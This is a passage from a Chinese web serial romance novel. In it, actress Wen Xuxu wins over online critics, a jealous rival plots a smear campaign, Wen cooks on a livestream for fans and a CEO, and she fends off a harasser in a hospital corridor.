林菲菲坦言,她最心疼的是温栩栩那双明亮的眼睛,“我不想让她遭受网络暴力,不想让那些恶意的言论玷污她对表演的热爱。我希望她的眼睛永远亮晶晶的,永远充满对舞台的渴望,而不是被那些流言蜚语磨灭了光彩。作为老师,我有责任保护她,也有义务告诉所有人,温栩栩的演技,经得起任何考验,她不该被这样诋毁,更不该被这样质疑!” 第1505章 嫉妒与恨意 林菲菲的发言,不仅是一次简单的护短,更是一位资深表演老师对行业未来的期许。 她希望通过温栩栩的故事,让更多人看到,真正的演技,从来不是一蹴而就的奇迹,而是日复一日的积累,真正的演员,也从来不会被不公与偏见打倒,只会用实力证明自己的价值。 林菲菲的发声,照出了网友对温栩栩态度的完整转变。 从最初的“跟风吐槽”,到后来的“主动求真”,再到最后的“坚定支持”,网友们的每一次发声,都是对温栩栩努力最好的回应。 当林菲菲贴出温栩栩的过往舞台经历后,不少网友开始主动去搜索她的作品。 从学院时期的舞台剧片段,到她参演的音乐剧、广播剧,再到她作为伴舞时的幕后花絮,每一个画面都让网友看到了一个不一样的温栩栩。 不是镜头前光鲜亮丽的“流量”,而是后台里满身汗水、反复打磨的“追梦人”。 有网友感慨:“我之前真的太片面了,看到她为了一个角色反复练习的视频,才明白她能演好温萝不是偶然,她把对表演的热爱都融进了每一次呼吸、每一个眼神里。” 更有资深戏剧爱好者翻出温栩栩早年参演的《暗恋桃花源》,指出她在剧中“跨越时空的情感传递”堪称教科书级别:“那时候她才刚入行,就能把角色的复杂情感拿捏得这么准,说她没演技的人,真的看过她的作品吗?” 随着越来越多的网友深入了解温栩栩的过往,最初的质疑声逐渐被倾佩与支持取代。 评论区里,满是网友的真诚留言:“原来她早就用舞台证明了自己的演技,我们之前真的是太武断了”“看到她被抢走资源却依然坚持的样子,真的太让人心疼了,这样努力的人,凭什么不被认可?” “温栩栩的火是必然的!她有天赋、有努力、有野心,更有一份对表演的纯粹热爱,这样的演员,值得被所有人喜欢!” 更有网友直接喊话黑粉:“说温栩栩没演技的人,现在敢吱声吗?你们看看她十年如一日的坚持,看看她在舞台上的付出,再看看她在《替身》里的表现,还敢乱蹦跶吗?观众的眼睛是雪亮的,你们再无脑黑下去,只会变成一场可笑的闹剧!” 当网络上铺天盖地的夸赞如潮水般涌向温栩栩时,苏婉正蜷缩在办公室的皮质沙发里,指尖捏着的手机屏幕亮得刺眼,热搜词条“温栩栩《灵媒》直播片段封神”像一根根细针,扎得她眼眶发烫。 她死死盯着那些评论. “温栩栩这段直接让我代入温萝,哭戏太绝了” “以前还说她没演技,现在谁还敢提啊” 每一个字都像烧红的烙铁,烫在她心底那块名为“嫉妒”的疮疤上,连带着牙龈都几乎咬碎,发出细微的咯吱声响。 苏婉与温栩栩曾是同期艺人,同在一家经纪公司打磨过。 那时的苏婉,凭着几分姿色和刻意经营的“清冷人设”,总觉得自己比温栩栩多了几分“星味”. 温栩栩总是一头扎进剧组,哪怕接的是些没名气的小角色,也乐此不疲地琢磨演技,苏婉私下里没少跟朋友吐槽:“装什么努力,演戏又不是靠死磕就能出头的。” 可如今,温栩栩却凭着《替身》里的温萝一角彻底爆火,如今新剧《灵媒》还没上线,仅仅一段直播片段就让全网夸上热搜,而她自己,还在为一部配角戏的通告焦头烂额。 这种落差,像一把钝刀,一下下割着她的心,嫉妒与恨意在胸腔里翻涌,几乎要将她淹没。 她本以为,温栩栩就算来参加节目也会因为这些负面消息处处受阻,可没想到,那段直播片段一出,所有的谣言都成了笑话。 屏幕上,温栩栩饰演的角色跪坐在昏暗的灵堂里,烛火映在她脸上,眼泪无声滑落,却带着一种近乎破碎的坚韧,那一刻,所有人都忘了她是谁,只觉得她就是那个被命运捉弄的“温萝”。 苏婉看着那段片段,指甲深深嵌进掌心,泛白的指节泄露了她内心的波澜。 她明明比温栩栩更懂得“经营”,更懂得讨好资源方,为什么最后火起来的,却是那个只会“埋头苦练”的温栩栩? “不就是一段直播片段吗?有什么了不起的!” 苏婉猛地将手机摔在沙发上,声音带着压抑的嘶哑。 她强迫自己冷静下来,打开私信,指尖飞快地敲击着屏幕,给几个经常合作的营销号发去消息:“给我盯着温栩栩,她爆火之后肯定会有黑料,到时候立刻放出来,就说她演技是靠后期剪辑,还有她跟墨澜闹矛盾的事,随便编点细节,越劲爆越好。” 可即便这样发泄着恨意,她心里的那团火却丝毫没有熄灭。 她想起自己为了争取资源,陪酒到胃出血,想起为了维持人设,连私下里都不敢露出半分真实情绪,可到头来,却被温栩栩这个“努力派”抢走了所有风头。 她甚至开始回忆起以前跟温栩栩相处的细节,试图从记忆里找到温栩栩的“缺点”,来安慰自己。 可越想,心底的恨意越浓。 温栩栩从来不会为了抢资源跟人争执,别人抢走了她的机会,她也只是笑笑,然后转身去接别的戏。 温栩栩对工作人员总是很温和,探班时会带小零食给大家,有工作人员生病,她还会主动帮忙分担工作。这些曾经被苏婉视为“没心机、好欺负”的特质,如今却成了温栩栩身上“真诚、接地气”的标签,让网友更加喜欢她。 苏婉越想越觉得讽刺,她自以为的“聪明”,在温栩栩的“真诚”面前,竟显得如此不堪一击。 窗外的夜色渐深,办公室里只剩下电脑屏幕的微光映在苏婉脸上。 她看着热搜上温栩栩的名字,又想起自己手机里那些还没来得及发出的营销指令,突然觉得一阵无力。 她知道,现在的温栩栩,早已不是她能轻易撼动的了。 可心底的嫉妒与恨意,却像藤蔓一样疯长,缠得她喘不过气。 第1506章 温栩栩你别太离谱 苏婉看着满屏都是温栩栩,没忍住联系了一家八卦号发了些料。 …… 一条黑热搜#温栩栩演技#,曾几何时高挂榜单,满屏水军刷评,黑粉叫嚣,言辞刻薄,说什么“靠脸吃饭”“演技尴尬”“资源咖罢了”。 可如今,点进去一看,风平浪静,水军撤得干干净净,黑粉销声匿迹,仿佛从未存在过。取而代之的,是铺天盖地的夸赞: “谁再说温栩栩没演技?你去看《替身》最后一幕,她笑的时候,我后背发凉。” “眼神戏绝了,从天真到冷冽,层层递进,这不是演,这是灵魂附体。” “温栩栩这次真的封神了,黑粉闭嘴吧,观众眼睛是雪亮的。” “秦珂能爆,温栩栩带飞的,秦珂粉丝都来感谢她了!” 评论区清一色的彩虹屁,夹杂着秦珂粉丝的真诚致谢:“要不是温栩栩老师带戏,秦珂这角色根本立不住,谢谢您抬咖!” 温栩栩的大粉们更是喜气洋洋,敲锣打鼓地在超话发帖:“姐妹们!冲啊!《替身》短剧投票冲第一!转发抽奖走起,截图+投票才能参与!” 一时间,#温栩栩带飞秦珂#、#替身演技封神#、#温栩栩厨房直播#等话题接连爆火。 《替身》的播放量以恐怖速度飙升,短短24小时,已是其他三部参赛短剧的三四倍,票数遥遥领先,评委组都忍不住感叹:“这热度,多少年没见过了。” 而这一切风波正盛时,温栩栩本人,却正坐在自家厨房的岛台前,系着一条素净的棉麻围裙,袖子挽到手肘,露出纤细却有力的手腕。她刚接到秦扬帆导演的电话:“栩栩,粉丝都在喊你开直播,热度正高,别浪费这波流量,露个脸,说两句也行。” 温栩栩笑了笑:“我也不知道说什么。” “随便聊,做饭也行,观众爱看真实的你。” 做饭那也不是不行,反正温栩栩是会做饭的,还做得不错。 于是,她打开了直播。 镜头一亮,弹幕瞬间炸了。 “啊啊啊温栩栩开直播了!!” “救命!她围裙好素,但好有生活感!” “刚看完《替身》哭成狗,现在看她切菜,我怎么又想哭了?” “这反差感太戳我了!前一秒是权倾天下的太后,下一秒是厨房小能手?” 温栩栩对着镜头眨了眨眼,声音轻软:“你们吵着要我直播,我又不知道说些什么,索性做顿饭吧,好歹不无聊。” 她转身走向冰箱,拿出食材,动作利落,毫不拖泥带水。 她先处理鱼头,刀锋利落地划开鱼鳃,去鳞、去腥线,动作娴熟得不像明星,倒像是一位常年掌勺的家庭主妇。 她将鱼头两面煎至金黄,滋啦作响,香气仿佛透过屏幕扑面而来。 “煎鱼头一定要热锅冷油,不然会粘锅。”她一边说着,一边倒入滚烫的开水,这是关键,只有开水才能让汤瞬间乳化,炖出奶白色的浓汤。 她盖上锅盖,小火慢炖。没多久,揭开锅盖,一锅奶白色的汤在锅中翻滚,鱼香混着豆腥味的清香,浓郁得让人忍不住咽口水。 “加点姜片去腥,再放嫩豆腐,炖十分钟就好。”她轻轻搅动,豆腐在汤中轻轻浮动,像一朵朵白云。最后撒上葱花,一点白胡椒粉,香气直冲鼻腔。 “这汤,我真的很喜欢喝。”她轻声说,眼神温柔了一瞬,随即又恢复笑意,“今天也给你们炖一锅。” 做完这道菜也没等多久就开始下一道菜。 她转身拿出早已腌制好的鸡丁,裹上薄薄一层淀粉,油温烧至七成热,哗啦一声倒入锅中,瞬间爆响,红油翻滚,辣椒与花椒在热油中噼啪作响,香气炸裂。 她手持锅铲,翻炒利落,鸡丁在红油中翻滚,逐渐变得金黄酥脆,辣椒的辣、花椒的麻、鸡肉的嫩,交织成一曲味觉的交响。 “火候要快,不然鸡肉会老。”她笑着翻炒,最后撒上一把熟芝麻,关火出锅。 一盘红亮油润的辣子鸡丁端上桌,红油还在微微晃动,辣椒堆里藏着金黄的鸡丁,光是看着,就让人食欲大开。 处理好这个,就是下一道菜了。 她将黑鱼片成薄如蝉翼的鱼片,刀工精准,每一片都厚薄均匀。酸菜切丝,泡姜泡椒备好。 热锅凉油,下泡姜泡椒爆香,再放入酸菜猛火翻炒,酸香扑鼻。 加水煮沸后,她将鱼片一片片滑入汤中,动作轻柔,像是在对待什么珍宝。 “鱼片不能久煮,变白就熟。”她轻声说,最后撒上一点青蒜和小米辣,红绿相间,汤色清亮中带着微红,酸辣开胃的香气直冲天灵盖。 “这道菜,我最爱吃。”她笑了笑,“他说,酸菜是乡愁,鱼是团圆。” 她将包菜手撕成片,保留边缘的脆嫩。热锅凉油,蒜末爆香,下包菜猛火快炒,加一点生抽、一点醋,翻炒几下便出锅。 “手撕的比刀切的好吃,因为边缘不规则,更容易入味。”她解释道,盘中包菜翠绿油亮,蒜香扑鼻,清爽解腻。 八道菜,满满一桌,热气腾腾,香气四溢。 鱼头豆腐汤奶白浓郁,辣子鸡丁红亮诱人,酸菜鱼汤清味鲜,手撕包菜爽脆,拍黄瓜清口,酸辣土豆丝开胃,蒜蓉油麦菜鲜嫩,炝拌金针菇爽口。 整张桌子,色香味俱全,热气氤氲,像是一场人间烟火的盛宴。 “来,开吃。”她笑着拿起筷子,夹了一块辣子鸡丁,“你们看剧辛苦了,我也犒劳一下自己。” 弹幕疯狂滚动: “我饿了!我真的饿了!” “这哪是直播,这是美食番!” “温栩栩你别太离谱,一边演权谋太后,一边做饭,你到底还有多少技能?” “她好真实,没有摆拍,没有滤镜,就是认真在做饭。” “黑粉呢?出来啊!你们说她没演技?她连做饭都这么有戏!” “我宣布,温栩栩从今天起是我厨艺偶像!” 她一边吃,一边和粉丝聊天,说戏里的细节,说拍戏时的趣事,说温意那场戏她拍了七条才过,因为“眼泪落下的位置不对”。 第1507章 全能女神 “你们看到我笑,其实我心里在哭。”她说,“温萝的笑,是刀尖上的舞。” 粉丝们安静了片刻,随即弹幕刷满: “我们懂。” “你演活了她。” “谢谢你,温栩栩。” 《替身》短剧的播放,让温栩栩的粉丝们陷入了深深的剧情漩涡。 剧中那曲折复杂的爱情故事,像是一把无形的刀,狠狠刺痛着粉丝们的心。 当看到剧中主角们经历着误会、分离、爱而不得的种种磨难时,粉丝们的情绪瞬间被点燃。 他们原本只是想轻松地享受追剧时光,可谁知剧情如此虐心。 有的人一开始只是微微皱眉,眼眶泛红,随着剧情的深入,那压抑已久的情绪彻底爆发,开始发出一声声惊呼和惨叫,仿佛自己就是剧中的人物,正经历着那些痛苦与无奈。 “啊啊啊!不要啊!为什么要这么虐!”粉丝们一边喊着,一边用手紧紧捂住自己的嘴巴,不让自己发出更大的声音,可那从指缝间溢出的哀嚎,却清晰地表达着他们内心的痛苦与不舍。 有的粉丝甚至开始抽泣,眼泪止不住地流下来,纸巾在手中被揉成一团。他们为剧中人物的命运感到揪心,为那份无法圆满的爱情而悲伤,仿佛整个世界都因剧情的虐心而变得黯淡无光。 粉丝们对着屏幕大声喊着,试图用自己的声音去改变剧情的发展。 可剧情依旧按照它既定的轨迹前行,继续虐着每一个深陷其中的人。 粉丝们的心也随着剧情的起伏而跌宕起伏,那份对剧中人物的怜爱与心疼,让他们完全沉浸在这虐心的氛围中,无法自拔。 但当温栩栩开启直播粉丝们就变了态度,有那么点艳羡了。 温栩栩的直播一开启,便像是一股神奇的魔力,将粉丝们紧紧吸引。 粉丝们原本还在为《替身》短剧的虐心剧情而心绪难平,可当他们切换到温栩栩的做饭直播时,那从手机屏幕中飘散而出的香味,瞬间让他们忘记了剧情的悲伤,肚子也开始咕咕作响。 只见温栩栩在镜头前熟练地操作着各种食材,刀起刀落间,食材被她切成了整齐的形状。 那翻炒的动作行云流水,油在锅中发出滋滋的响声,与食材完美融合,散发出诱人的香气。辣子鸡丁在锅中跳跃着,鸡肉鲜嫩多汁,辣椒的红色与鸡肉的色泽交织在一起,让人垂涎欲滴;酸菜鱼在汤汁中翻滚着,鱼肉白嫩,酸菜的酸香与鱼肉的鲜美融合,散发着独特的味道。 粉丝们盯着屏幕,眼睛都舍不得眨一下。 那从屏幕中传出的香味,仿佛穿透了屏幕,直达他们的鼻尖。 “好香啊!好想吃!”粉丝们纷纷在评论区留言,表达着自己对温栩栩所做的美食的渴望。 有的粉丝甚至开始咽口水,肚子也越发饿了。他们原本只是想看看偶像的直播,可没想到却被这美食的香味彻底征服,完全沉浸在温栩栩的厨艺世界里,忘记了刚刚还在为剧情而伤心。 秦珂的粉丝也在这个时间进入了直播间。 秦珂向来以独特的魅力和不羁的个性在娱乐圈中独树一帜,他的粉丝们对他有着深深的喜爱与关注。 而秦珂在演艺事业上,有时会因一些个人因素而让人担心他是否能全身心投入演戏,这让粉丝们既期待又担忧。 当得知秦珂与温栩栩合作的消息时,秦珂的粉丝们内心是充满好奇的。 他们想看看究竟是谁能有这么大的魅力,能让秦珂在拍戏时安分守己,全身心投入到角色中去。 在他们心中,秦珂就像一个充满活力又略带叛逆的孩子,他们想知道温栩栩会是那个能让“孩子”安静下来的“老师”吗? 于是,秦珂的粉丝们开始关注温栩栩。 他们想要通过各种渠道去了解温栩栩,看看她到底有何特别之处。 温栩栩的直播、她的作品,甚至是她的日常生活动态,都成了秦珂粉丝们关注的焦点。 他们就像一群好奇的探险家,想要揭开温栩栩身上的神秘面纱,看看她是如何与秦珂相处,又是如何在演艺圈中展现自己的魅力 秦珂的粉丝们原本只是带着好奇的心态去关注温栩栩,可当他们真正看到温栩栩的表现时,却彻底被震惊到了。 在直播中,温栩栩那熟练的厨艺让秦珂的粉丝们目瞪口呆。 只见她手起刀落,食材在她的手中仿佛有了生命,被切成了各种精美的形状。 那翻炒、调味等动作一气呵成,每一个步骤都显得那么专业而流畅。当一道道美食在她的手中诞生,散发出诱人的香味时,秦珂的粉丝们简直不敢相信自己的眼睛。 “哇塞!这也太厉害了吧!”粉丝们纷纷在评论区留言,表达着自己的惊叹。 他们没想到温栩栩不仅演技精湛,在厨艺方面竟然也有如此高的造诣。那辣子鸡丁色泽红亮,鸡肉鲜嫩多汁,让人看了就食欲大增;酸菜鱼的酸香与鱼肉的鲜美完美融合,让人仿佛能闻到那浓郁的汤汁香味。 而温栩栩在直播中的互动也让他们印象深刻。 在温栩栩的直播里,粉丝们彻底化身为“表白大军”,那热情的话语如潮水般涌向温栩栩。 “温栩栩,你真的太全啦!演技好,厨艺也这么棒,我简直为你疯狂打call!” 有粉丝激动地留言,仿佛要把对温栩栩的喜爱全部倾泻出来。还有粉丝俏皮地说:“温栩栩,我没什么出息,就想每天看着你拍戏,吃着你做的饭,做你的忠实粉丝!”言语间充满了对温栩栩的痴迷。 “无论月圆月缺,你始终是我心中最闪耀的星!你的全能让我折服,我愿意一直陪伴在你身边,见证你更多的精彩!” 这样的深情表白,让直播间的氛围愈发热烈。粉丝们用各种方式表达着对温栩栩的爱意,那一句句“我爱你”“你太棒了”,就像是一束束鲜花,献给温栩栩这位全能女神。 第1508章 还要在那里站多久 更有粉丝直接喊话:“温栩栩,我要嫁给你做你的小娇妻!每天为你加油打气!”虽然只是玩笑之语,却也能看出粉丝们对温栩栩的喜爱已经深入骨髓。 他们觉得温栩栩就像一个宝藏,无论从哪个方面挖掘,都能发现新的惊喜,这种全能的光芒让他们无法抗拒,只想紧紧跟随在温栩栩的身边,与她一起在娱乐圈的道路上闪耀前行。 直播间的粉丝们玩性大发,开始拿温栩栩的性别开起了玩笑,那幽默的话语让整个直播间充满了欢乐的气息。 “温栩栩,你喜欢女孩子吗?性别不要卡那么死哦,说不定我们之间还能擦出不一样的火花呢!” 有粉丝大胆地留言,引得其他粉丝一阵哄笑。还有粉丝撒娇道:“姐姐,我愿意为你改变性别,变成你喜欢的样子,你看看我行吗?” “温栩栩,我要嫁给你做你的小娇妻!不管你是男是女,在我心里你都是最完美的!”这样的玩笑话,虽然看似荒诞,却饱含着粉丝们对温栩栩的深厚感情。 他们觉得温栩栩的魅力已经超越了性别的界限,无论温栩栩是何种性别,都无法阻挡他们对温栩栩的喜爱。 温栩栩看着这些玩笑话,嘴角微微上扬,她知道这些都是粉丝们爱她的表现。 虽然她知道这些玩笑只是粉丝们的娱乐,但她也很享受这种与粉丝互动的感觉。 这种轻松愉快的氛围,让直播间的每一个人都感受到了快乐,也让温栩栩与粉丝之间的关系更加亲密无间,就像一家人一样,在欢声笑语中度过这美好的时光。 …… 助理轻轻推开办公室的门,本打算向总裁汇报工作,可还没来得及开口,就听到从办公室里传来一阵熟悉的声音。 那声音清脆悦耳,又带着几分温柔与俏皮,不正是温栩栩的吗? 助理瞬间愣住了,站在门口,怀疑自己是不是出现了幻听。 他仔细回想了一下,温栩栩不是应该在忙着直播或者拍戏吗? 怎么会出现在总裁办公室呢? 难道是她趁着自己不注意,偷偷溜了进来? 没必要吧,温栩栩还用溜进来?不就说句话的事情,他难道还敢拦着不成? 助理心中充满了疑惑,他不敢贸然出声,生怕打扰到温栩栩和总裁的谈话。 他侧耳倾听,试图从那断断续续的声音中捕捉到一些信息。 可传来的只是温栩栩那欢快的笑声和一些模糊的话语,助理完全猜不透里面到底发生了什么。 他开始在心里胡思乱想,难道温栩栩和总裁有什么特殊的秘密会议? 或者是温栩栩来找总裁谈什么重要的事情? 各种猜测在助理的脑海中盘旋,让他越发觉得事情不简单。 助理站在门口,越发觉得气氛有些不对劲。 他担心自己听到不该听的,看到不该看的,心里开始有些发慌。他小心翼翼地往后退了一步,打算关门离开。 他动作轻柔,生怕发出一点声响引起办公室里人的注意。 手慢慢伸向门把手,轻轻地转动,然后缓缓地把门关上。 整个过程,助理都屏住了呼吸,眼睛紧紧地盯着那扇门,生怕自己一不小心就破坏了办公室里的氛围。 关上门后,助理松了一口气,他拍了拍自己的胸口,心里暗自庆幸自己没有贸然进去。 他知道,有些事情不是他该知道的,有些场合也不是他该出现的。 虽然心里充满了好奇,但他还是决定把这份好奇埋藏在心底,做好自己该做的事情。 …… 直播间里,弹幕如潮水般翻涌。 温栩栩正对着镜头,将最后一盘蒜蓉油麦菜端上桌,热气氤氲,蒜香扑鼻。 她笑着擦了擦手,声音轻软:“好啦~这样我们今天中午的大餐就全都做好啦~要给你们报个菜名吗?” 她一边说,一边用筷子轻轻点着盘沿,像在打节拍,又像在安抚一群饿极了的小猫。 “鸡肉选用的琵琶腿上的肉,做之前去掉了鸡皮和肥肉,而且鸡肉热量并不高,可以放心吃的。” 她认真解释,“鱼肉也是有丰富的蛋白质,营养价值很高,热量却低。金针菇,油麦菜,包菜,黄瓜都是热量很低的,这里面只有土豆过油后热量稍高一点,且属于碳水,需要少吃一点。” 她顿了顿,眨了眨眼:“好,这就是我今天的午饭哦。” 弹幕瞬间炸了。 “姐姐你不是在做饭,你是在做营养学科普!” “我一边看《替身》被虐得嗷嗷哭,一边看姐姐做饭香得吸鼻子,现在又听你讲热量,我饿了!我想吃!” “这哪是直播,这是治愈系综艺!” “温栩栩真全能!姐姐娶我!我为姐姐暖床嘤嘤嘤!” “姐姐喜欢女孩子吗!性别不要卡那么死好不好呜呜呜我爱姐姐!我要嫁给你做你的小娇妻!” 粉丝们疯狂刷屏,有人甚至截图发到超话,配文:“今天也是为温栩栩的厨艺和演技双杀的一天。” 秦珂的粉丝原本只是抱着“看看是谁能带我们家哥哥安分演戏”的心态点进直播,结果一整个被震住。 “我靠,这辣子鸡丁的颜色,比我哥的戏份还红!” “她一边演权谋太后,一边炒菜,还能把火候掌握得这么准,这女人是怪物吧?” “我家哥哥说她戏好,我还以为是客套,现在看,是真的强。” 他们原本对温栩栩还有点“资源咖”的偏见,可此刻,只剩五体投地。 “温老师,我哥能爆,真靠你带飞。” “以后我们秦珂粉,认你当姐姐!” …… 就在这时,总裁办公室的门被轻轻推开。 这已经是助理第二次进黎云笙的办公室了。 助理林特助抱着一叠文件,脚步轻得像猫,生怕打扰了里面的人。 锅铲翻炒的声响,油花爆裂的滋啦声,还有温栩栩温柔的声音:“这道酸菜鱼,我哥最爱吃,他说酸菜是乡愁,鱼是团圆。” 原来直播还没有结束啊。 他正要悄悄关门离开,却听见黎云笙低沉的声音响起:“还要在那里站多久。” 第1509章 能不能不要这么凶 林特助一个激灵,立刻挺直腰板,面不改色地走进去,将文件放在桌上,语速飞快:“黎总,这是本月的财务报表,还有下季度的项目预算,您过目一下,还有市场部的方案……” 他一边汇报,一边用余光瞥向那还在播放直播的手机。 背景音里,温栩栩正笑着解释:“没有吃不胖的人,有些人现在还年轻,不仅长身体,且新陈代谢快一些,而且经常运动,所以吃下去的东西早早消化完,不会转化成脂肪。” 黎云笙听着,嘴角几不可察地勾了勾。 林特助:?? 他加快语速,只想赶紧逃离这诡异的氛围。 “……以上,就是今天的全部汇报内容,黎总您请过目。” 黎云笙“嗯”了一声,目光却仍落在手机上。 林特助松了口气,转身要走。 就在这时,门外传来敲门声。 “黎总,您的外卖到了。” 林特助一愣。 我们黎总今天没点外卖啊? 他正要开口,却见黎云笙挑了挑眉:“送进来。” 门开,外卖小哥捧着一个精致的雕花木盒餐盒进来,一共八九道菜,每份都只装了几口的分量,摆盘精致,色彩搭配和谐,最后还有一份蓝莓山药,清清爽爽,不甜不腻。 林特助心里“咯噔”一下。 这绝对不是黎总点的餐! 黎云笙却神色如常,扫了眼餐盒,又扫了眼餐盒里那张打印的字条,上面写着: “今天的菜你都能吃,记得吃完喝杯温水。温栩栩留” 还印了个萌萌哒兔子小表情。 林特助:……这字条怎么看着这么眼熟?? 黎云笙看着字条,唇角微扬,难得地露出一丝笑意,甚至还抬头看了林特助一眼,语气竟带了点难得的温和:“这顿,是温栩栩给我订的。” 林特助:?? 他脸上的笑瞬间僵住,内心已经翻江倒海。 温栩栩? 给黎总订餐? 还按她自己的午餐配的?一人份? 他脑子里瞬间闪过无数画面,黎总冷着脸吃温栩栩做的饭?黎总一边看报表一边喝鱼头豆腐汤?黎总吃完还把兔子小表情保存下来? 不,这太离谱了。 “黎总,”他艰难开口,“您和温老师……这是?” 黎云笙淡淡瞥他一眼,语气轻描淡写:“她知道我今天忙,没时间吃饭,就让华庭送来了。顺便,提醒我别熬夜。” 林特助:……顺便提醒别熬夜?这是助理该干的事吧?! 他正要说话,黎云笙已经开始报菜名,语气竟带着一丝难得的愉悦:“辣子鸡丁,酸菜鱼,鱼头豆腐汤……嗯,和她直播里做的一样。” 林特助:???你们俩还都挺喜欢报菜名是吧! 黎云笙忽然抬头,看着他,语气忽然带了点调侃:“有人关心你吃没吃中午饭,给你定外卖吗?” 林特助一愣,下意识道:“我自己能订。” “爱人订的和自己订的感觉能一样吗?”黎云笙慢悠悠地说,眼神里竟有那么一丝“可怜你这个单身狗”的意味,“一看你就没女朋友。” 林特助:……!!! 他内心咆哮:是不是有点什么毛病!攻击城少就够了,怎么还无差别攻击你下属呢!多少有点禽兽了啊! 可他不敢说,只能默默退下。 关门的那一刻,他仿佛听见黎云笙低声笑了下,语气轻得像风:“她连我不能吃辣都知道,少放了辣椒。” 林特助:……我今天是不是不该来上班? …… 温栩栩刚结束直播,手机便响了。 是医院打来的电话,语气急促:“温小姐,您弟弟的情况有些波动,需要您尽快过来一趟。” 她眉头一蹙,立刻起身,外套都没来得及披,便匆匆出门。 车轮碾过夜色,城市灯火在车窗上拉出长长的光痕,她望着窗外,指尖无意识地摩挲着手机边缘,温言是她唯一的软肋,自幼体弱多病,常年住院,每一次电话都像一把刀,悬在她心口。 抵达医院时,已是深夜。 她轻手轻脚推开温言的病房门,少年正昏睡着,脸色苍白如纸,呼吸机有节奏地起伏。 她坐在床边,轻轻握住他的手,在这里守了近两个小时,直到医生确认无大碍,才松了口气。 她低头看了眼时间,手机上已有剧组发来的信息:【温老师,明天的戏份比较紧,您什么时候回组?】 她一边回复“明早一定到”,一边起身,轻轻带上门。 走廊灯光昏黄,脚步声在空荡的通道里回响。 她刚走出几步,前方一间病房的门突然“砰”地打开,一道黑影闪电般冲出,她还未来得及反应,腰间一紧,整个人已被狠狠摁在冰冷的墙上。 “咚——”病房门被重重扣上,锁死。 温栩栩瞳孔微缩,却并未慌乱。她抬眼,对上那双燃烧着炽热与疯狂的眼眸。 “温栩栩,你可真是让我大开眼界。”黎松双臂撑在她头两侧,将她圈在自己与墙壁之间,气息滚烫,视线从她发梢缓缓滑落,停留在她微颤的唇上,眼底是毫不掩饰的爱欲与占有欲,“直播做饭?温栩栩,你居然也会为别人下厨?我可从没见过你为谁这么温柔过。” 他声音低哑,带着酒气,显然是刚喝过酒。 来人是黎松,跟黎云笙也有些关系,也是黎家的私生子,甚至还追求过温栩栩,只不过比之黎家其他私生子手段没那么恶心。 他追求温栩栩的过程被温栩栩踹过不止一次,前段时间还骚扰过温栩栩,结果被踹了。 但黎松这人不要脸归不要脸,好歹不会像黎家其它私生子一样真的闹出人命相关的事。 他身上那件黑色高定衬衫松了两颗扣子,露出锁骨处一道未愈的淤青,也不知是谁揍的。 温栩栩冷笑,眼尾一挑,红唇微启:“黎松,你没被踹够?还想再挨一脚?” 黎松身体一僵,本能地往后缩了半寸,随即反应过来,恼羞成怒:“你这女人能不能不要这么凶!” “凶?”温栩栩嗤笑,抬腿便是一记狠准的膝撞,却被他险险避开。 她眼神一冷,“你要是再不松手,下一脚就不是警告了。” 第1510章 上次踹得你不够疼? 黎松却笑得更疯,非但不退,反而逼近,鼻尖几乎贴上她的:“你越是凶,我越想把你关起来,只给我一个人看。你说你,怎么就这么勾人呢?” 他伸手想抚她的脸,却被她一把扣住手腕,力道之大,让他眉头一皱。 “你知不知道,”温栩栩声音压得极低,却字字如刀,“你每次出现,都像一场闹剧?每次用骚扰来证明存在感?你跟黎家那些私生子有什么不同?” “我不是他们!”黎松低吼,眼中闪过一丝痛色,“我从没想害你,也没动过温言一根手指。我甚至……在你被围堵那次,让人暗中驱散了他们。” 温栩栩眸光微动,却未松手:“所以呢?你以为你没动手,就不是恶人?你三番两次堵我,骚扰我,还敢说你干净?” “因为我喜欢你!”黎松突然低吼,声音在病房里回荡,带着几分破碎的真诚,“从你第一次拒绝我,我就知道,你和其他女人不一样。你不会笑得假惺惺,不会为了资源低头,你敢踹我,敢骂我,敢说‘滚’,你是我见过最真的人。” 他逼近,呼吸落在她颈侧:“我知道黎云笙在护着你,所以我忍了。可今晚他没来,你一个人,温言也在住院……我忍不住了。我就想问你一句,我到底哪点比不上他?” 温栩栩静静看着他,忽然笑了,笑得极冷:“你比不上他的地方多了。他不会借机要挟,更不会用‘喜欢’当借口,行骚扰之实。” 她猛地发力,将他手腕一扭,顺势脱身,站定在他面前,眼神如冰:“黎松,你记住,我不是你的猎物,也不是黎家的玩物。你若再敢碰我,下一次,我踹的就不只是你的肋骨了。” 黎松呼吸有些乱,胸膛起伏,像是刚跑完一场长跑。 他靠在门边,手指还残留着方才触碰温栩栩腰际的余温,那触感真实得让他心颤。 他望着她冷漠的背影,忽然低低地笑了,声音沙哑,带着几分自嘲,又藏着一丝执拗。 “小嫂子,你疼疼我,别总对我动粗。”他声音放软,甚至带了点撒娇的意味,眉头轻蹙,像是真受了天大委屈,“别看我个子挺高,其实我特别脆弱。” 温栩栩脚步未停,只冷冷瞥他一眼,内心翻了个白眼,你脆弱个鬼,个骚东西! 可她没说出口,只是唇角微扬,带着几分讥诮。 这人真是越来越会演了,从前是明目张胆地堵她,现在倒学会装可怜了。 从前是“温小姐,陪我喝一杯”,现在是“小嫂子,我脆弱”,一口一个称呼,叫得亲昵又不要脸。 “看看,多给面儿,直接叫小嫂子了。”她终于开口,声音清冷,像冬日里结了霜的玻璃,“你黎少爷,什么时候也学会走温情路线了?” 黎松却不恼,反而笑得更欢,眼底藏着灼热的光:“叫你一声小嫂子,是认真的。 ” 他向前一步,声音压低,带着蛊惑:“小嫂子,我真是越来越喜欢你了。你这样的,配我正合适,我们凑一对得了。” 温栩栩终于停下脚步,缓缓转身,眼神像刀子一样刮过他俊朗却带着几分痞气的脸。 她冷笑:“你以为什么人都配喜欢我?” 她一步步走近,高跟鞋在地板上敲出清脆的响声,每一步都像踩在他心上。 “你黎松,黎家私生子,母亲是夜总会的舞女,靠关系才进了黎氏董事会,靠手段才保住了自己那点权力。”她一字一句,毫不留情,“你拿什么,说喜欢我?” 黎松脸色微变,却仍强撑着笑:“可我至少敢说,敢做,敢追你。黎云笙呢?你真以为,他对你,是真心?” 温栩栩不答,只淡淡看着他。 黎松见她不语,以为有了转机,忙道:“小嫂子,你跟着黎云笙不会有好结果。他心里一直有人!” 温栩栩眉梢微动,终于有了点反应。 黎松见状,心中一喜,急忙道:“黎云笙喜欢的是苏婉,苏家大小姐,她才是黎云笙心里的白月光。她跟黎云笙青梅竹马,一起长大,是苏家千金,你拿什么跟她比?” 他语气急切,像是在揭露一个惊天秘密,又像是在为自己争取最后的机会。 温栩栩却笑了。 